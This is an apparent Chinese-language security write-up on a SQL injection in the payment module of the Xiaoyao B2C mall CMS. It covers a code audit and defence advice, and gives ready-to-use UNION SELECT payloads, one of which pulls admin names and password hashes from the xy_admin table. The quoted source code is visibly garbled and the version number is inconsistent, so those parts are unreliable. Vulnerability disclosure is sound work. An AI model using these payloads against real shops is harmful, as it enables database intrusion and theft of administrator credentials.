渗透测试 | 某商城前台SQL注入漏洞测试
字数 1141 2025-08-10 08:28:18
逍遥B2C商城v1.1.3前台SQL注入漏洞分析与利用
漏洞概述
本文档详细分析逍遥B2C商城v1.3.1版本中存在的一个前台SQL注入漏洞。该漏洞位于支付模块中,由于对用户输入参数处理不当,导致攻击者可以构造恶意请求执行SQL注入攻击,最终可能导致数据库敏感信息泄露。
环境准备
- 操作系统: Ubuntu 20.04
- 网站环境: 宝塔面板 (PHP 7.2 + MySQL 5.7.43)
- 工具准备:
- IntelliJ IDEA (用于代码审计)
- Burp Suite (用于漏洞验证)
- CMS版本: 逍遥B2C商城v1.1.3
漏洞定位
漏洞位于文件: public/plugin/payment/alipay/pay.php 第35行
代码审计分析
1. 参数全局处理机制
系统对GET、POST、COOKIE传参会分别加上前缀:
- GET参数:
_g_ - POST参数:
_p_ - COOKIE参数:
_c_
2. 漏洞点分析
漏洞点关键代码:
$order_id变量虽然经过pe_dbhold函数的过滤,但是因为此处sql语句的处理的问题,不需要闭合引号,导致pe_dbhold函数失去了防护意义
pe_dbhold函数原型:
// 函数用于过滤SQL注入
function pe_dbhold($str) {
// 实现细节...
}
3. 关键函数分析
order_table函数:
- 作用: 如果参数包含
_符号,就将参数根据_分割为数组,并返回order_和数组第一个值组成的字符串 - 否则返回
order字符串
pe_select方法:
- 先经过
_dowhere方法构造where子句 $where经过_dowhere方法处理后与$table一起拼接到SQL语句中执行
_dowhere方法源码:
protected function _dowhere($where) {
if (is_array($where)) {
foreach ($where as $k => $v) {
$k = str_ireplace(k);
if (is_array($v)) {
$where_arr[k}` in('".implode(v)
} else {
in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[k}` = '{$v}
}
}
$sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
} else {
$where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
}
return $sqlwhere;
}
4. 注入条件分析
要成功利用此漏洞需要满足以下条件:
- 传参必须以
pay开头,因为CMS只有一个order_pay表 - 需要绕过单引号的闭合
漏洞利用
1. 利用思路
order_table函数会根据_将$order_id分割为数组:
- 第一部分拼接到表名
- 之后将
$order_id拼接到where子句
利用方法: 将第一部分和后面的部分以/*_*/作为连接点,可以将表名到固定的where部分全部注释掉
2. POC构造
基础测试POC:
pay`+/*_*/where+false+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+xy_admin%23
(已知xy_admin表有12个字段)
获取管理员账号密码POC:
pay`+/*_*/where+false+union+select+admin_name,2,admin_pw,4,5,6,7,8,9,10,11,12+from+xy_admin%23
防御建议
- 对所有用户输入进行严格的过滤和转义
- 使用参数化查询(prepared statements)代替直接拼接SQL
- 对
order_table函数进行修改,避免将用户输入直接拼接到SQL语句中 - 实现最小权限原则,数据库用户只应具有必要的最低权限
总结
该漏洞展示了即使使用了过滤函数(pe_dbhold),如果SQL语句构造方式不当,仍然可能导致SQL注入漏洞。开发人员需要全面考虑各种可能的攻击向量,而不仅仅是依赖单一的安全措施。